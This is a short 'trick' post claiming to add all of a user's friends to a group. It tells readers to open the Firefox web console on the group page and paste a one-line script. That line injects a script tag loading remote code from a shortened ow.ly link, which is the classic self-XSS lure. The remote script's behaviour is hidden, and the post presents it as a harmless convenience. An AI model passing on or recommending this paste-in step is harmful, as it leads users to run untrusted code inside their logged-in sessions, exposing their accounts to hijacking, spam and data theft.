Add all of your friends to your group easily

 

Hi guys, I came here with a new trick for you. Let's start the lesson. This trick still working on the new version of mozilla firefox.

Go to your group using firefox.

Then press CTRL+SHIFT+K

Copy and paste the script code given below.

document.body.appendChild(document.createElement('script')).src='http://ow.ly/gDSNg';

Then press enter key.

Enjoy !!!

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